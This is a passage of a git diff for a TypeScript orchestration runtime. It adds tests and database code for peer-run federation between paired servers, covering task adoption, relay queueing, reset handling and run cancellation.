+      maxDepth: 5,
+      ...params
+    })
+  }
+
+  function pending() {
+    return db.listPendingFederationRelay(peerRun.conversation_id, 'to_home', 500)
+  }
+
+  function states() {
+    return pending()
+      .filter((item) => item.kind === 'worker_state')
+      .map((item) => RemoteOwnedWorkerState.parse(JSON.parse(item.payload)))
+  }
+
+  function fail(dispatchId: string, taskId: string) {
+    db.transitionLifecycle({ entity: 'worker', id: dispatchId, from: 'starting', to: 'failed' })
+    db.transitionLifecycle({ entity: 'dispatch', id: dispatchId, from: 'pending', to: 'failed' })
+    db.transitionLifecycle({ entity: 'task', id: taskId, from: 'dispatched', to: 'failed' })
+  }
+
+  it('queues every lifecycle change of a Dispatch and its Task, in order, as the wire schema', () => {
+    const { dispatch, task } = start({ adoptTaskId: 'task_home1' })
+    fail(dispatch.id, task.id)
+
+    expect(task.id).toBe('task_home1')
+    const items = pending()
+    expect(items.map((item) => item.sequence)).toEqual(items.map((_, index) => index + 1))
+    expect(
+      states().map((state) => [
+        state.dispatch.status,
+        state.dispatch.workerState,
+        state.task.status
+      ])
+    ).toEqual([
+      ['pending', null, 'ready'],
+      ['pending', 'starting', 'dispatched'],
+      ['pending', 'failed', 'dispatched'],
+      ['failed', 'failed', 'dispatched'],
+      ['failed', 'failed', 'failed']
+    ])
+    expect(states().every((state) => state.homeRunId === 'run_home')).toBe(true)
+    for (const item of items) {
+      expect(JSON.parse(item.payload).id).toBe(item.message_id)
+    }
+  })
+
+  it("queues the report owner's unobserved-prompt correction once, flagged, with its result", () => {
+    const { dispatch, task } = start()
+    fail(dispatch.id, task.id)
+    db.transitionLifecycle({
+      entity: 'dispatch',
+      id: dispatch.id,
+      from: 'failed',
+      to: 'failed',
+      projection: { last_failure: AGENT_PROMPT_STALLED_ERROR }
+    })
+    const before = states().length
+
+    db.settleWorkerReport({
+      taskId: task.id,
+      dispatchId: dispatch.id,
+      outcome: 'succeeded',
+      result: 'actually done'
+    })
+
+    expect(states().slice(before)).toEqual([
+      expect.objectContaining({
+        correctedUnobservedPrompt: true,
+        dispatch: expect.objectContaining({ status: 'completed', workerState: 'succeeded' }),
+        task: { status: 'completed', result: 'actually done' }
+      })
+    ])
+  })
+
+  it('holds back the Task change of a correction even when a newer attempt is the latest', () => {
+    const first = start()
+    fail(first.dispatch.id, first.task.id)
+    db.transitionLifecycle({
+      entity: 'dispatch',
+      id: first.dispatch.id,
+      from: 'failed',
+      to: 'failed',
+      projection: { last_failure: AGENT_PROMPT_STALLED_ERROR }
+    })
+    const retry = start({ adoptTaskId: first.task.id })
+    fail(retry.dispatch.id, first.task.id)
+    const before = states().length
+
+    db.settleWorkerReport({
+      taskId: first.task.id,
+      dispatchId: first.dispatch.id,
+      outcome: 'succeeded',
+      result: 'actually done'
+    })
+
+    expect(states().slice(before)).toEqual([
+      expect.objectContaining({
+        correctedUnobservedPrompt: true,
+        dispatch: expect.objectContaining({ id: first.dispatch.id })
+      })
+    ])
+  })
+
+  it("queues a worker's question with its thread, so the coordinator can answer in it", () => {
+    const { dispatch } = start()
+    const { message } = db.createQuestion({
+      runId: peerRun.run_id,
+      dispatchId: dispatch.id,
+      askerHandle: 'term_w',
+      question: 'Which branch?'
+    })
+    const queued = pending().find((item) => item.message_id === message.id)!
+    expect(RemoteOwnedWorkerMail.parse(JSON.parse(queued.payload)).message.threadId).toBe(
+      message.id
+    )
+  })
+
+  it('never reuses a sequence after a reset, and a reset tells the coordinator what it removed', () => {
+    const first = start()
+    const throughOld = Math.max(...pending().map((item) => item.sequence))
+
+    db.resetTasks()
+    const removed = states().filter((state) => state.removed)
+    expect(removed.map((state) => [state.dispatch.id, state.removed?.reason])).toEqual([
+      [first.dispatch.id, 'reset on the server running it']
+    ])
+    start()
+    db.acknowledgeFederationRelay({
+      dispatchId: peerRun.conversation_id,
+      direction: 'to_home',
+      throughSequence: throughOld
+    })
+
+    const after = pending()
+    expect(after.length).toBeGreaterThan(0)
+    expect(after.every((item) => item.sequence > throughOld)).toBe(true)
+  })
+
+  it('keeps the queue and the Run ID through a full reset, with a removed item per Dispatch', () => {
+    const { dispatch } = start()
+    db.resetAll()
+
+    expect(states().find((state) => state.removed)?.dispatch.id).toBe(dispatch.id)
+    const again = db.admitPeerRun({
+      peerFingerprint: 'fingerprint_a',
+      peerRun: { runId: 'run_home', conversationId: peerRun.conversation_id, label: 'devA' }
+    })
+    expect(again.run_id).toBe(peerRun.run_id)
+    expect(db.getRun(peerRun.run_id)).toBeDefined()
+  })
+
+  it('attributes mail rerouted into the Run to the Dispatch its sender worked for when it sent it', () => {
+    const coordinator = `peer:${peerRun.conversation_id}`
+    const first = start()
+    const note = db.insertMessage({
+      from: 'term_w',
+      to: 'term_unbound',
+      subject: 'late note',
+      runId: peerRun.run_id,
+      senderDispatchId: first.dispatch.id
+    })
+    fail(first.dispatch.id, first.task.id)
+    start()
+    db.db.prepare('UPDATE messages SET to_handle = ? WHERE id = ?').run(coordinator, note.id)
+    db.db
+      .prepare('UPDATE messages SET to_handle = ? WHERE id = ?')
+      .run(`run:${peerRun.run_id}`, note.id)
+
+    const mail = pending()
+      .filter((item) => item.kind === 'worker_mail')
+      .map((item) => RemoteOwnedWorkerMail.parse(JSON.parse(item.payload)))
+    expect(mail.map((item) => [item.id, item.dispatchId, item.taskId])).toEqual([
+      [note.id, first.dispatch.id, first.task.id]
+    ])
+  })
+
+  it('reopens an adopted Task whose last attempt settled, so the coordinator can run it again', () => {
+    const first = start({ adoptTaskId: 'task_home1' })
+    fail(first.dispatch.id, first.task.id)
+
+    const again = start({ adoptTaskId: 'task_home1' })
+    expect(again.task.id).toBe('task_home1')
+    expect(again.dispatch.id).not.toBe(first.dispatch.id)
+    expect(() => start({ adoptTaskId: 'task_home1' })).toThrow(/only a ready Task can start/)
+  })
+
+  it('keeps a peer Run conversation and a peer-mail conversation apart, so their sequences never collide', () => {
+    const mailConversation = generateId('peerconv')
+    db.insertPeerMailMessage({
+      conversationId: mailConversation,
+      peerFingerprint: 'fingerprint_a',
+      remoteParty: null,
+      message: { id: generateId('msg'), from: 'devA:term_x', to: 'term_w', subject: 'hi' }
+    })
+    expect(() =>
+      db.admitPeerRun({
+        peerFingerprint: 'fingerprint_a',
+        peerRun: { runId: 'run_home2', conversationId: mailConversation, label: 'devA' }
+      })
+    ).toThrow(expect.objectContaining({ code: 'request_mismatch' }))
+    expect(() =>
+      db.insertPeerMailMessage({
+        conversationId: peerRun.conversation_id,
+        peerFingerprint: 'fingerprint_a',
+        remoteParty: null,
+        message: { id: generateId('msg'), from: 'devA:term_x', to: 'term_w', subject: 'hi' }
+      })
+    ).toThrow(expect.objectContaining({ code: 'request_mismatch' }))
+  })
+
+  it("follows a rename of the coordinating Orca's machine", () => {
+    const renamed = db.admitPeerRun({
+      peerFingerprint: 'fingerprint_a',
+      peerRun: { runId: 'run_home', conversationId: peerRun.conversation_id, label: 'devA2' }
+    })
+    expect(renamed.home_label).toBe('devA2')
+  })
+
+  it('leaves an adopted Task that still waits on its dependencies waiting', () => {
+    const dependency = db.createTask({ spec: 'first', runId: peerRun.run_id })
+    const task = db.createTask({
+      spec: 'second',
+      runId: peerRun.run_id,
+      deps: [dependency.id]
+    })
+    expect(() => start({ adoptTaskId: task.id })).toThrow(/only a ready Task can start/)
+    expect(db.getTask(task.id)?.status).toBe('pending')
+  })
+
+  it('admits no start into a Run its coordinator cancelled', () => {
+    db.closePeerRun(peerRun.run_id)
+    expect(() => start()).toThrow(/cancelled by devA/)
+  })
+})
diff --git a/src/main/runtime/orchestration/db/peer-runs/peer-run-store.ts b/src/main/runtime/orchestration/db/peer-runs/peer-run-store.ts
new file mode 100644
index 00000000000..20f70500176
--- /dev/null
+++ b/src/main/runtime/orchestration/db/peer-runs/peer-run-store.ts
@@ -0,0 +1,146 @@
+import type { RemoteOwnedPeerRun } from '../../../../../shared/orchestration/remote-owned-wire'
+import { OrchestrationError } from '../../orchestration-error'
+import { generateId } from '../generated-id'
+import type { OrchestrationDb } from '../orchestration-db'
+import { peerRunDispatchStateStatements } from './peer-run-queue-sql'
+import { peerCoordinatorAddress } from '../../addressing/orchestration-caller-identity'
+
+export type PeerRunRow = {
+  run_id: string
+  conversation_id: string
+  peer_fingerprint: string
+  home_run_id: string
+  home_label: string
+  state: 'open' | 'closed'
+  created_at: string
+}
+
+const NO_EFFECTS = { effectsApplied: false } as const
+
+/**
+ * The Run a paired Orca coordinates here for one conversation, written when its frame arrives and
+ * before any await, so a later frame of the same conversation (a cancel) always finds it. The Run
+ * keeps its ID across this Orca's resets: a reset that removed its row gets it back on the next call.
+ */
+export function admitPeerRun(
+  this: OrchestrationDb,
+  params: { peerFingerprint: string; peerRun: RemoteOwnedPeerRun }
+): PeerRunRow {
+  const { peerFingerprint, peerRun } = params
+  this.db.exec('BEGIN IMMEDIATE')
+  try {
+    const conversation = this.getPeerMailConversation(peerRun.conversationId)
+    const existing = this.getPeerRunForConversation(peerRun.conversationId)
+    // A peer-mail conversation keeps its own queue sequence, so it never becomes a peer Run's.
+    if (
+      existing
+        ? existing.peer_fingerprint !== peerFingerprint || existing.home_run_id !== peerRun.runId
+        : conversation
+    ) {
+      throw new OrchestrationError(
+        'request_mismatch',
+        `Conversation ${peerRun.conversationId} belongs to another Run or pairing. No effects were applied.`,
+        NO_EFFECTS
+      )
+    }
+    const runId = existing?.run_id ?? generateId('run')
+    if (existing && existing.home_label !== peerRun.label) {
+      this.db
+        .prepare('UPDATE peer_runs SET home_label = ? WHERE run_id = ?')
+        .run(peerRun.label, runId)
+    }
+    if (!existing) {
+      this.db
+        .prepare(
+          `INSERT OR IGNORE INTO peer_mail_conversations (conversation_id, role, peer_fingerprint)
+           VALUES (?, 'peer', ?)`
+        )
+        .run(peerRun.conversationId, peerFingerprint)
+      this.db
+        .prepare(
+          `INSERT INTO peer_runs (run_id, conversation_id, peer_fingerprint, home_run_id, home_label)
+           VALUES (?, ?, ?, ?, ?)`
+        )
+        .run(runId, peerRun.conversationId, peerFingerprint, peerRun.runId, peerRun.label)
+    }
+    if (!this.getRunRaw(runId)) {
+      const coordinator = peerCoordinatorAddress(peerRun.conversationId)
+      this.insertRunRow(runId, {
+        objective: `Coordinated from ${peerRun.label}`,
+        coordinatorHandle: coordinator,
+        coordinatorPaneKey: coordinator
+      })
+    }
+    this.db.exec('COMMIT')
+  } catch (error) {
+    this.db.exec('ROLLBACK')
+    throw error
+  }
+  // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: the committed transaction above wrote or found this conversation's row.
+  return this.getPeerRunForConversation(peerRun.conversationId) as PeerRunRow
+}
+
+export function getPeerRun(this: OrchestrationDb, runId: string): PeerRunRow | undefined {
+  // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: SELECT * over this table returns exactly its row shape.
+  return this.db.prepare('SELECT * FROM peer_runs WHERE run_id = ?').get(runId) as
+    | PeerRunRow
+    | undefined
+}
+
+export function hasPeerRuns(this: OrchestrationDb): boolean {
+  return this.db.prepare('SELECT 1 FROM peer_runs LIMIT 1').get() !== undefined
+}
+
+export function getPeerRunForConversation(
+  this: OrchestrationDb,
+  conversationId: string
+): PeerRunRow | undefined {
+  // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: SELECT * over this table returns exactly its row shape.
+  return this.db
+    .prepare('SELECT * FROM peer_runs WHERE conversation_id = ?')
+    .get(conversationId) as PeerRunRow | undefined
+}
+
+/** Closed for good: the claim refuses every start, follow-up and helper into it from now on. */
+export function closePeerRun(this: OrchestrationDb, runId: string): void {
+  this.db.prepare(`UPDATE peer_runs SET state = 'closed' WHERE run_id = ?`).run(runId)
+}
+
+/** Inside a reset's transaction, before it deletes them: one final item per peer-Run Dispatch. */
+export function queueRemovedPeerRunDispatches(this: OrchestrationDb, reason: string): void {
+  const [allocate, queue] = peerRunDispatchStateStatements(
+    '?1',
+    false,
+    `json_object('reason', ?2)`
+  ).map((sql) => this.db.prepare(sql))
+  // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: SELECT of one column returns exactly that column.
+  const dispatches = this.db
+    .prepare(
+      `SELECT d.id FROM dispatch_contexts d JOIN peer_runs pr ON pr.run_id = d.run_id ORDER BY d.rowid`
+    )
+    .all() as { id: string }[]
+  for (const { id } of dispatches) {
+    allocate.run(id, reason)
+    queue.run(id, reason)
+  }
+}
+
+export type PeerRunStoreMethods = {
+  admitPeerRun: typeof admitPeerRun
+  getPeerRun: typeof getPeerRun
+  getPeerRunForConversation: typeof getPeerRunForConversation
+  hasPeerRuns: typeof hasPeerRuns
+  closePeerRun: typeof closePeerRun
+  queueRemovedPeerRunDispatches: typeof queueRemovedPeerRunDispatches
+}
+
+export function attachPeerRunStore(ctor: { prototype: object }): void {
+  Object.assign(ctor.prototype, {
+    admitPeerRun,
+    getPeerRun,
+    getPeerRunForConversation,
+    hasPeerRuns,
+    closePeerRun,
+    queueRemovedPeerRunDispatches
+  })
+}
diff --git a/src/main/runtime/orchestration/db/projection-mutation-triggers.ts b/src/main/runtime/orchestration/db/projection-mutation-triggers.ts
new file mode 100644
index 00000000000..bd0a3a415d8
--- /dev/null
+++ b/src/main/runtime/orchestration/db/projection-mutation-triggers.ts
@@ -0,0 +1,30 @@
+export type ProjectionMutationTrigger = {
+  table: string
+  columns?: string
+  mark: (row: 'NEW' | 'OLD') => string
+}
+
+/** Connection-local invalidations share the writer's transaction, including rollback. */
+export function projectionMutationTriggers(
+  name: string,
+  triggers: readonly ProjectionMutationTrigger[],
+  changed = ''
+): string {
+  return triggers
+    .flatMap((trigger) =>
+      [
+        { name: 'insert', event: 'AFTER INSERT', rows: ['NEW'] as const },
+        { name: 'delete', event: 'AFTER DELETE', rows: ['OLD'] as const },
+        {
+          name: 'update',
+          event: trigger.columns ? `AFTER UPDATE OF ${trigger.columns}` : 'AFTER UPDATE',
+          rows: ['OLD', 'NEW'] as const
+        }
+      ].map(
+        (event) => `CREATE TEMP TRIGGER IF NOT EXISTS ${name}_${trigger.table}_${event.name}
+${event.event} ON main.${trigger.table}
+BEGIN ${changed} ${event.rows.map(trigger.mark).join(' ')} END;`
+      )
+    )
+    .join('\n')
+}
diff --git a/src/main/runtime/orchestration/db/questions/question-threads.ts b/src/main/runtime/orchestration/db/questions/question-threads.ts
index 4f0be287206..5741dc5750a 100644
--- a/src/main/runtime/orchestration/db/questions/question-threads.ts
+++ b/src/main/runtime/orchestration/db/questions/question-threads.ts
@@ -2,6 +2,7 @@ import type { MessageRow, QuestionRow } from '../orchestration-records'
 import { OrchestrationError } from '../../orchestration-error'
 import { exposeQuestionTimestamps } from '../utc-timestamp'
 import type { OrchestrationDb } from '../orchestration-db'
+import { generateId } from '../generated-id'
 import { handHelperMailToRun } from '../messages/helper-mailbox-hand-back'
 
 export function createQuestion(
@@ -27,7 +28,11 @@ export function createQuestion(
         `Dispatch ${params.dispatchId} is not in Run ${params.runId}.`
       )
     }
+    // A question is its own thread, set at insert so mail queued for a paired coordinator carries it.
+    const id = generateId('msg')
     const message = this.insertMessage({
+      id,
+      threadId: id,
       from: `dispatch:${params.dispatchId}`,
       to: params.to ?? `run:${params.runId}`,
       subject: 'Question',
@@ -39,9 +44,9 @@ export function createQuestion(
         question: params.question,
         options: params.options ?? []
       }),
+      senderDispatchId: dispatch.id,
       runId: params.runId
     })
-    this.db.prepare('UPDATE messages SET thread_id = ? WHERE id = ?').run(message.id, message.id)
     this.db
       .prepare(
         `INSERT INTO question_threads (
diff --git a/src/main/runtime/orchestration/db/reset/orchestration-reset.ts b/src/main/runtime/orchestration/db/reset/orchestration-reset.ts
index ac68ba65767..b8af86962be 100644
--- a/src/main/runtime/orchestration/db/reset/orchestration-reset.ts
+++ b/src/main/runtime/orchestration/db/reset/orchestration-reset.ts
@@ -1,5 +1,6 @@
 import { ORCHESTRATION_LEGACY_RUN_ID as LEGACY_RUN_ID } from '../../../../../shared/orchestration/orchestration-rpc-contract'
 import type { OrchestrationDb } from '../orchestration-db'
+import { notifyPeerMailQueued } from '../../federation/peer-mail/peer-mail-waiters'
 import type { ResetRemovedWork } from '../../../../../shared/orchestration/orchestration-removed-work'
 import {
   readRemovedWorkWatermark,
@@ -7,13 +8,22 @@ import {
 } from './removed-orchestration-work-read'
 
 /** Returns the removed-work watermark, read inside the transaction so the reply counts only this reset. */
-export function runResetTransaction(this: OrchestrationDb, statements: string): number {
+export function runResetTransaction(
+  this: OrchestrationDb,
+  statements: string,
+  { removesDispatches = false }: { removesDispatches?: boolean } = {}
+): number {
   this.db.exec('BEGIN IMMEDIATE')
   try {
     // Why unguarded: an error that ends the transaction must roll the whole reset back, not let the deletes autocommit.
     const watermark = readRemovedWorkWatermark(this.db)
+    if (removesDispatches) {
+      // Their paired coordinator learns of it from its queue, which the reset keeps.
+      this.queueRemovedPeerRunDispatches('reset on the server running it')
+    }
     this.db.exec(statements)
     this.db.exec('COMMIT')
+    notifyPeerMailQueued(this.db)
     return watermark
   } catch (error) {
     try {
@@ -27,7 +37,8 @@ export function runResetTransaction(this: OrchestrationDb, statements: string):
 
 export function resetAll(this: OrchestrationDb): void {
   // Keep receipts so a lost reset reply cannot replay the mutation.
-  this.runResetTransaction(`
+  this.runResetTransaction(
+    `
     DELETE FROM coordinator_runs;
     DELETE FROM decision_gates;
     DELETE FROM remote_questions;
@@ -37,7 +48,7 @@ export function resetAll(this: OrchestrationDb): void {
     DELETE FROM legacy_operation_receipts;
     DELETE FROM legacy_compatibility_principals;
     DELETE FROM legacy_adoptions;
-    DELETE FROM federation_relay_items;
+    DELETE FROM federation_relay_items WHERE NOT (direction = 'to_home' AND dispatch_id IN (SELECT conversation_id FROM peer_runs));
     DELETE FROM remote_dispatch_attachments;
     DELETE FROM federated_dispatches;
     DELETE FROM worker_terminal_archives;
@@ -48,18 +59,22 @@ export function resetAll(this: OrchestrationDb): void {
     DELETE FROM dispatch_contexts;
     DELETE FROM tasks;
     DELETE FROM messages;
+    DELETE FROM message_dispatch_provenance;
     DELETE FROM run_coordinator_handles;
     DELETE FROM runs;
     DELETE FROM removed_orchestration_work;
     INSERT INTO runs (id, objective, home_database, consumer_generation, legacy)
       VALUES ('${LEGACY_RUN_ID}', 'Legacy orchestration state (inspect only)', 'this_database', 0, 1);
-  `)
+  `,
+    { removesDispatches: true }
+  )
   this.hasAnyDispatchContextsCache = undefined
 }
 
 export function resetTasks(this: OrchestrationDb): ResetRemovedWork | undefined {
   // Messages survive, and so do replies waiting for a paired Orca to pull them; close threads so orphaned questions cannot masquerade as generic replies.
-  const watermark = this.runResetTransaction(`
+  const watermark = this.runResetTransaction(
+    `
     DELETE FROM coordinator_runs;
     DELETE FROM decision_gates;
     DELETE FROM remote_questions;
@@ -70,7 +85,7 @@ export function resetTasks(this: OrchestrationDb): ResetRemovedWork | undefined
     DELETE FROM legacy_operation_receipts;
     DELETE FROM legacy_compatibility_principals;
     DELETE FROM legacy_adoptions;
-    DELETE FROM federation_relay_items WHERE kind <> 'peer_mail';
+    DELETE FROM federation_relay_items WHERE kind <> 'peer_mail' AND NOT (direction = 'to_home' AND dispatch_id IN (SELECT conversation_id FROM peer_runs));
     DELETE FROM remote_dispatch_attachments;
     DELETE FROM federated_dispatches;
     DELETE FROM worker_terminal_archives;
@@ -80,7 +95,9 @@ export function resetTasks(this: OrchestrationDb): ResetRemovedWork | undefined
     DELETE FROM worker_dispatches;
     DELETE FROM dispatch_contexts;
     DELETE FROM tasks;
-  `)
+  `,
+    { removesDispatches: true }
+  )
   this.hasAnyDispatchContextsCache = undefined
   return summarizeRemovedWorkSince(this.db, watermark)
 }
@@ -92,6 +109,7 @@ export function resetMessages(this: OrchestrationDb): void {
     DELETE FROM question_threads;
     DELETE FROM deliveries;
     DELETE FROM messages;
+    DELETE FROM message_dispatch_provenance;
     DELETE FROM structured_pointer_operations;
   `)
 }
diff --git a/src/main/runtime/orchestration/db/runs/run-binding.ts b/src/main/runtime/orchestration/db/runs/run-binding.ts
index 0d47fd2e34c..6950c8cba8b 100644
--- a/src/main/runtime/orchestration/db/runs/run-binding.ts
+++ b/src/main/runtime/orchestration/db/runs/run-binding.ts
@@ -42,6 +42,15 @@ export function bindRun(
       return undefined
     }
     const sameBinding = runBoundToCoordinator(run, coordinator)
+    const peerRun = this.getPeerRun(params.runId)
+    if (peerRun && !sameBinding) {
+      // A paired Orca's Run has that Orca as its only consumer; it never binds anything here.
+      throw new OrchestrationError(
+        'consumer_fenced',
+        `Run ${params.runId} is coordinated from ${peerRun.home_label}, which stays its only coordinator. No effects were applied.`,
+        { effectsApplied: false }
+      )
+    }
     const explicitTakeover = params.takeoverLegacy === true
     // Why: before the legacy gate, so a worker never sees its --takeover-legacy recovery command.
     const workerRefusal = sameBinding
diff --git a/src/main/runtime/orchestration/db/runs/run-create.ts b/src/main/runtime/orchestration/db/runs/run-create.ts
index 53b17414ea6..6ce7877082c 100644
--- a/src/main/runtime/orchestration/db/runs/run-create.ts
+++ b/src/main/runtime/orchestration/db/runs/run-create.ts
@@ -4,42 +4,19 @@ import type { OrchestrationDb } from '../orchestration-db'
 import type { OrcaSessionId } from '../../../../../shared/orca-session-address'
 import { mailboxAddressOf } from '../../addressing/orchestration-caller-identity'
 
-export function createRun(
-  this: OrchestrationDb,
-  params: {
-    objective: string
-    coordinatorHandle: string | null
-    coordinatorPaneKey: string | null
-    /** The coordinator's bare Orca session id when it is a structured session; see orca-session-address. */
-    coordinatorOrcaSessionId?: OrcaSessionId | null
-  }
-): RunRow {
-  const coordinator = {
-    terminalHandle: params.coordinatorHandle,
-    paneKey: params.coordinatorPaneKey,
-    orcaSessionId: params.coordinatorOrcaSessionId ?? null
-  }
+type RunCoordinatorParams = {
+  objective: string
+  coordinatorHandle: string | null
+  coordinatorPaneKey: string | null
+  /** The coordinator's bare Orca session id when it is a structured session; see orca-session-address. */
+  coordinatorOrcaSessionId?: OrcaSessionId | null
+}
+
+export function createRun(this: OrchestrationDb, params: RunCoordinatorParams): RunRow {
   const id = generateId('run')
   this.db.exec('BEGIN IMMEDIATE')
   try {
-    this.db
-      .prepare(
-        `INSERT INTO runs (
-           id, objective, coordinator_handle, coordinator_pane_key, coordinator_orca_session_id,
-           coordinator_orca_session_id_generation, consumer_generation, legacy
-         ) VALUES (?, ?, ?, ?, ?, 1, 1, 0)`
-      )
-      .run(
-        id,
-        params.objective,
-        coordinator.terminalHandle,
-        coordinator.paneKey,
-        coordinator.orcaSessionId
-      )
-    const address = mailboxAddressOf(coordinator)
-    if (address !== null) {
-      this.rememberRunCoordinatorHandle(id, address)
-    }
+    this.insertRunRow(id, params)
     this.db.exec('COMMIT')
   } catch (error) {
     this.db.exec('ROLLBACK')
@@ -48,12 +25,45 @@ export function createRun(
   return this.getRun(id) as RunRow
 }
 
+/** Writes a Run bound to its coordinator inside the caller's transaction. */
+export function insertRunRow(
+  this: OrchestrationDb,
+  id: string,
+  params: RunCoordinatorParams
+): void {
+  const coordinator = {
+    terminalHandle: params.coordinatorHandle,
+    paneKey: params.coordinatorPaneKey,
+    orcaSessionId: params.coordinatorOrcaSessionId ?? null
+  }
+  this.db
+    .prepare(
+      `INSERT INTO runs (
+         id, objective, coordinator_handle, coordinator_pane_key, coordinator_orca_session_id,
+         coordinator_orca_session_id_generation, consumer_generation, legacy
+       ) VALUES (?, ?, ?, ?, ?, 1, 1, 0)`
+    )
+    .run(
+      id,
+      params.objective,
+      coordinator.terminalHandle,
+      coordinator.paneKey,
+      coordinator.orcaSessionId
+    )
+  const address = mailboxAddressOf(coordinator)
+  if (address !== null) {
+    this.rememberRunCoordinatorHandle(id, address)
+  }
+}
+
 export type RunCreateMethods = {
   createRun: typeof createRun
+  insertRunRow: typeof insertRunRow
 }
 
 export function attachRunCreate(ctor: { prototype: object }): void {
   Object.assign(ctor.prototype, {
-    createRun
+    createRun,
+    insertRunRow
   })
 }
diff --git a/src/main/runtime/orchestration/db/schema/create-tables.ts b/src/main/runtime/orchestration/db/schema/create-tables.ts
index 1895230e847..5378ee71629 100644
--- a/src/main/runtime/orchestration/db/schema/create-tables.ts
+++ b/src/main/runtime/orchestration/db/schema/create-tables.ts
@@ -3,9 +3,12 @@ import { createCoreTablesSql } from './create-core-tables-sql'
 import { createGraphTablesSql } from './create-graph-tables-sql'
 import { DERIVED_DELIVERY_SCHEMA_SQL } from './migrate-v41'
 import { REMOVED_WORK_SCHEMA_SQL } from '../reset/removed-orchestration-work-store'
+import { PEER_RUN_SCHEMA_SQL } from '../peer-runs/peer-run-queue-sql'
 
 export function createTables(this: OrchestrationDb): void {
-  this.db.exec(`${createCoreTablesSql()}\n${createGraphTablesSql()}\n${REMOVED_WORK_SCHEMA_SQL}`)
+  this.db.exec(
+    `${createCoreTablesSql()}\n${createGraphTablesSql()}\n${REMOVED_WORK_SCHEMA_SQL}\n${PEER_RUN_SCHEMA_SQL}`
+  )
   // Unreleased builds saved each send's fence as NOT NULL; nothing reads it, and new rows carry none.
   if (this.hasColumn('structured_mail_sends', 'fence')) {
     this.db.exec('ALTER TABLE structured_mail_sends DROP COLUMN fence')
diff --git a/src/main/runtime/orchestration/db/tasks/task-store.ts b/src/main/runtime/orchestration/db/tasks/task-store.ts
index 401d3d68544..aebef0d890f 100644
--- a/src/main/runtime/orchestration/db/tasks/task-store.ts
+++ b/src/main/runtime/orchestration/db/tasks/task-store.ts
@@ -10,6 +10,8 @@ import { selectColumns, TASK_COLUMNS } from '../row-column-lists'
 export function createTask(
   this: OrchestrationDb,
   task: {
+    /** Set only for a Task placed on a paired server: one ID for it here and there, from the start's retry key. */
+    id?: string
     spec: string
     taskTitle?: string
     displayName?: string
@@ -39,7 +41,7 @@ export function createTask(
       throw new Error(`Dependency task ${depId} must belong to run ${runId}`)
     }
   }
-  const id = generateId('task')
+  const id = task.id ?? generateId('task')
   const depsJson = JSON.stringify(task.deps ?? [])
   const display = buildOrchestrationTaskDisplayMetadata({
     spec: task.spec,
diff --git a/src/main/runtime/orchestration/db/worker-dispatch/worker-dispatch-start.ts b/src/main/runtime/orchestration/db/worker-dispatch/worker-dispatch-start.ts
index b65da6e2f61..f45cf6677e0 100644
--- a/src/main/runtime/orchestration/db/worker-dispatch/worker-dispatch-start.ts
+++ b/src/main/runtime/orchestration/db/worker-dispatch/worker-dispatch-start.ts
@@ -18,6 +18,8 @@ export function createStartingWorkerDispatch(
   params: {
     taskId?: string
     taskSpec?: string
+    /** The paired coordinator's ID for this Task: an existing one is reopened, else the new one takes it. */
+    adoptTaskId?: string
     taskRunId?: string
     taskCreatedByTerminalHandle?: string
     taskCreatedByPaneKey?: string
@@ -89,26 +91,42 @@ export function createStartingWorkerDispatch(
         { followUpDispatchId: claimedFollowUp.id }
       )
     }
+    const adopted = params.adoptTaskId ? this.getTask(params.adoptTaskId) : undefined
+    if (adopted && !params.retryOf) {
+      reopenSettledAdoptedTask(this, adopted, params.taskRunId)
+    }
     const task = params.taskId
       ? this.getTask(params.taskId)
-      : params.taskSpec
-        ? this.createTask({
-            spec: params.taskSpec,
-            taskTitle: params.taskTitle,
-            deps: params.taskDeps,
-            parentId: params.taskParentId,
-            createdByTerminalHandle: params.taskCreatedByTerminalHandle,
-            createdByPaneKey: params.taskCreatedByPaneKey,
-            createdByProcessIncarnation: params.taskCreatedByProcessIncarnation,
-            createdByRunGeneration: params.taskCreatedByRunGeneration,
-            runId: params.taskRunId
-          })
-        : undefined
+      : adopted
+        ? this.getTask(adopted.id)
+        : params.taskSpec
+          ? this.createTask({
+              id: params.adoptTaskId,
+              spec: params.taskSpec,
+              taskTitle: params.taskTitle,
+              deps: params.taskDeps,
+              parentId: params.taskParentId,
+              createdByTerminalHandle: params.taskCreatedByTerminalHandle,
+              createdByPaneKey: params.taskCreatedByPaneKey,
+              createdByProcessIncarnation: params.taskCreatedByProcessIncarnation,
+              createdByRunGeneration: params.taskCreatedByRunGeneration,
+              runId: params.taskRunId
+            })
+          : undefined
     if (!task) {
       // An inline spec already creates its Task; missing rows here imply an explicit id.
       const taskId = params.taskId ?? ''
       throw taskNotFoundError(`Task ${taskId} was not found.`, { taskId })
     }
+    const peerRun = this.getPeerRun(task.run_id)
+    if (peerRun?.state === 'closed') {
+      // Starts, follow-ups and helpers alike: its coordinator cancelled it.
+      throw new OrchestrationError(
+        'run_not_found',
+        `Run ${task.run_id} was cancelled by ${peerRun.home_label}. No effects were applied.`,
+        { effectsApplied: false }
+      )
+    }
     let priorFailures = 0
     if (params.retryOf) {
       const prior = this.getDispatchContextById(params.retryOf)
@@ -251,3 +269,30 @@ export function attachWorkerDispatchStart(ctor: { prototype: object }): void {
     createStartingWorkerDispatch
   })
 }
+
+/** A Task its paired coordinator reopened gets a new attempt here once its latest attempt settled. */
+function reopenSettledAdoptedTask(
+  db: OrchestrationDb,
+  task: TaskRow,
+  runId: string | undefined
+): void {
+  if (task.run_id !== runId) {
+    throw taskNotFoundError(`Task ${task.id} was not found in Run ${runId ?? ''}.`, {
+      taskId: task.id
+    })
+  }
+  const latest = db.getDispatchContext(task.id)
+  const worker = latest ? db.getWorkerDispatch(latest.id) : undefined
+  const settled = worker
+    ? ['succeeded', 'failed', 'stopped', 'abandoned'].includes(worker.state)
+    : !latest || ['completed', 'failed', 'circuit_broken'].includes(latest.status)
+  // A pending Task still waits on its dependencies; the ordinary promotion readies it.
+  if (settled && task.status !== 'ready' && task.status !== 'pending') {
+    transitionLifecycleWithDb(db.db, {
+      entity: 'task',
+      id: task.id,
+      from: task.status,
+      to: 'ready'
+    })
+  }
+}
diff --git a/src/main/runtime/orchestration/db/worker-terminal/worker-terminal-attention-query.ts b/src/main/runtime/orchestration/db/worker-terminal/worker-terminal-attention-query.ts
index bb908a26d07..a4c81f024cb 100644
